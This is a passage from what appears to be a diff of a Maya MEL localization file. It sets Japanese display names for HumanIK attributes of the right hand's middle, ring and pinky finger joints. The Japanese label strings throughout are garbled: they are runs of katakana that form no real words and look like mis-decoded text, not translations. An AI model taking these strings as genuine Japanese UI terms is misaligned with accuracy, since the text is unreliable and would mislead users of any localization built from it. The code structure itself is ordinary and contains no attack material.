"モメハヨヨミヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostRy", "モメハヨヨミヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostRz", "モメハヨヨミヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2T", "モメハヨヨミヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Tx", "モメハヨヨミヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Ty", "モメハヨヨミヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Tz", "モメハヨヨミヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2R", "モメハヨヨミヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Rx", "モメハヨヨミヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Ry", "モメハヨヨミヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Rz", "モメハヨヨミヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2S", "モメハヨヨミヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Sx", "モメハヨヨミヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Sy", "モメハヨヨミヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Sz", "モメハヨヨミヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PGX", "モメハヨヨミヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ROrder", "モメハヨヨミヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2SC", "モメハヨヨミヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2IS", "モメハヨヨミヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ISx", "モメハヨヨミヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ISy", "モメハヨヨミヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ISz", "モメハヨヨミヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreR", "モメハヨヨミヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreRx", "モメハヨヨミヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreRy", "モメハヨヨミヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreRz", "モメハヨヨミヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostR", "モメハヨヨミヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostRx", "モメハヨヨミヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostRy", "モメハヨヨミヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostRz", "モメハヨヨミヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3T", "モメハヨヨミヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Tx", "モメハヨヨミヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Ty", "モメハヨヨミヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Tz", "モメハヨヨミヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3R", "モメハヨヨミヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Rx", "モメハヨヨミヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Ry", "モメハヨヨミヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Rz", "モメハヨヨミヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3S", "モメハヨヨミヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Sx", "モメハヨヨミヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Sy", "モメハヨヨミヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Sz", "モメハヨヨミヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PGX", "モメハヨヨミヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ROrder", "モメハヨヨミヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3SC", "モメハヨヨミヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3IS", "モメハヨヨミヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ISx", "モメハヨヨミヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ISy", "モメハヨヨミヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ISz", "モメハヨヨミヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreR", "モメハヨヨミヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreRx", "モメハヨヨミヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreRy", "モメハヨヨミヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreRz", "モメハヨヨミヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostR", "モメハヨヨミヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostRx", "モメハヨヨミヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostRy", "モメハヨヨミヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostRz", "モメハヨヨミヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4T", "モメハヨヨミヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Tx", "モメハヨヨミヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Ty", "モメハヨヨミヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Tz", "モメハヨヨミヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4R", "モメハヨヨミヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Rx", "モメハヨヨミヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Ry", "モメハヨヨミヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Rz", "モメハヨヨミヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4S", "モメハヨヨミヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Sx", "モメハヨヨミヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Sy", "モメハヨヨミヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Sz", "モメハヨヨミヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PGX", "モメハヨヨミヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ROrder", "モメハヨヨミヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4SC", "モメハヨヨミヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4IS", "モメハヨヨミヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ISx", "モメハヨヨミヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ISy", "モメハヨヨミヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ISz", "モメハヨヨミヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreR", "モメハヨヨミヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreRx", "モメハヨヨミヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreRy", "モメハヨヨミヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PreRz", "モメハヨヨミヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostR", "モメハヨヨミヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostRx", "モメハヨヨミヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostRy", "モメハヨヨミヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PostRz", "モメハヨヨミヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1T", "モメハヨボテヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Tx", "モメハヨボテヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Ty", "モメハヨボテヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Tz", "モメハヨボテヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1R", "モメハヨボテヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Rx", "モメハヨボテヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Ry", "モメハヨボテヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Rz", "モメハヨボテヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1S", "モメハヨボテヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Sx", "モメハヨボテヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Sy", "モメハヨボテヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1Sz", "モメハヨボテヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PGX", "モメハヨボテヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ROrder", "モメハヨボテヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1SC", "モメハヨボテヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1IS", "モメハヨボテヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ISx", "モメハヨボテヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ISy", "モメハヨボテヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1ISz", "モメハヨボテヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreR", "モメハヨボテヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreRx", "モメハヨボテヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreRy", "モメハヨボテヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PreRz", "モメハヨボテヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostR", "モメハヨボテヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostRx", "モメハヨボテヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostRy", "モメハヨボテヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing1PostRz", "モメハヨボテヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2T", "モメハヨボテヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Tx", "モメハヨボテヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Ty", "モメハヨボテヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Tz", "モメハヨボテヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2R", "モメハヨボテヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Rx", "モメハヨボテヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Ry", "モメハヨボテヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Rz", "モメハヨボテヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2S", "モメハヨボテヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Sx", "モメハヨボテヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Sy", "モメハヨボテヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2Sz", "モメハヨボテヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PGX", "モメハヨボテヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ROrder", "モメハヨボテヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2SC", "モメハヨボテヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2IS", "モメハヨボテヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ISx", "モメハヨボテヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ISy", "モメハヨボテヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2ISz", "モメハヨボテヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreR", "モメハヨボテヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreRx", "モメハヨボテヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreRy", "モメハヨボテヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PreRz", "モメハヨボテヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostR", "モメハヨボテヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostRx", "モメハヨボテヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostRy", "モメハヨボテヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing2PostRz", "モメハヨボテヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3T", "モメハヨボテヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Tx", "モメハヨボテヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Ty", "モメハヨボテヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Tz", "モメハヨボテヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3R", "モメハヨボテヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Rx", "モメハヨボテヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Ry", "モメハヨボテヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Rz", "モメハヨボテヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3S", "モメハヨボテヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Sx", "モメハヨボテヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Sy", "モメハヨボテヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3Sz", "モメハヨボテヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PGX", "モメハヨボテヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ROrder", "モメハヨボテヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3SC", "モメハヨボテヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3IS", "モメハヨボテヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ISx", "モメハヨボテヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ISy", "モメハヨボテヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3ISz", "モメハヨボテヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreR", "モメハヨボテヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreRx", "モメハヨボテヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreRy", "モメハヨボテヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PreRz", "モメハヨボテヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostR", "モメハヨボテヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostRx", "モメハヨボテヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostRy", "モメハヨボテヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing3PostRz", "モメハヨボテヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4T", "モメハヨボテヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Tx", "モメハヨボテヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Ty", "モメハヨボテヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Tz", "モメハヨボテヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4R", "モメハヨボテヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Rx", "モメハヨボテヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Ry", "モメハヨボテヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Rz", "モメハヨボテヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4S", "モメハヨボテヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Sx", "モメハヨボテヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Sy", "モメハヨボテヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4Sz", "モメハヨボテヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PGX", "モメハヨボテヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ROrder", "モメハヨボテヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4SC", "モメハヨボテヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4IS", "モメハヨボテヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ISx", "モメハヨボテヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ISy", "モメハヨボテヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4ISz", "モメハヨボテヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreR", "モメハヨボテヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreRx", "モメハヨボテヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreRy", "モメハヨボテヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PreRz", "モメハヨボテヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostR", "モメハヨボテヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostRx", "モメハヨボテヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostRy", "モメハヨボテヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRing4PostRz", "モメハヨボテヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1T", "モメハヨミ。ヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Tx", "モメハヨミ。ヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Ty", "モメハヨミ。ヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Tz", "モメハヨミ。ヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1R", "モメハヨミ。ヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Rx", "モメハヨミ。ヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Ry", "モメハヨミ。ヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Rz", "モメハヨミ。ヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1S", "モメハヨミ。ヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Sx", "モメハヨミ。ヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Sy", "モメハヨミ。ヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1Sz", "モメハヨミ。ヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PGX", "モメハヨミ。ヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ROrder", "モメハヨミ。ヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1SC", "モメハヨミ。ヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1IS", "モメハヨミ。ヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ISx", "モメハヨミ。ヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ISy", "モメハヨミ。ヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1ISz", "モメハヨミ。ヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreR", "モメハヨミ。ヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreRx", "モメハヨミ。ヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreRy", "モメハヨミ。ヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PreRz", "モメハヨミ。ヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostR", "モメハヨミ。ヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostRx", "モメハヨミ。ヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostRy", "モメハヨミ。ヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky1PostRz", "モメハヨミ。ヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2T", "モメハヨミ。ヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Tx", "モメハヨミ。ヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Ty", "モメハヨミ。ヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Tz", "モメハヨミ。ヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2R", "モメハヨミ。ヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Rx", "モメハヨミ。ヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Ry", "モメハヨミ。ヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Rz", "モメハヨミ。ヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2S", "モメハヨミ。ヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Sx", "モメハヨミ。ヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Sy", "モメハヨミ。ヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2Sz", "モメハヨミ。ヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PGX", "モメハヨミ。ヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ROrder", "モメハヨミ。ヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2SC", "モメハヨミ。ヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2IS", "モメハヨミ。ヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ISx", "モメハヨミ。ヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ISy", "モメハヨミ。ヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2ISz", "モメハヨミ。ヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreR", "モメハヨミ。ヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreRx", "モメハヨミ。ヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreRy", "モメハヨミ。ヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PreRz", "モメハヨミ。ヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostR", "モメハヨミ。ヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostRx", "モメハヨミ。ヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostRy", "モメハヨミ。ヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky2PostRz", "モメハヨミ。ヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3T", "モメハヨミ。ヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Tx", "モメハヨミ。ヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Ty", "モメハヨミ。ヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Tz", "モメハヨミ。ヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3R", "モメハヨミ。ヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Rx", "モメハヨミ。ヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Ry", "モメハヨミ。ヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Rz", "モメハヨミ。ヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3S", "モメハヨミ。ヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Sx", "モメハヨミ。ヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Sy", "モメハヨミ。ヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3Sz", "モメハヨミ。ヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", 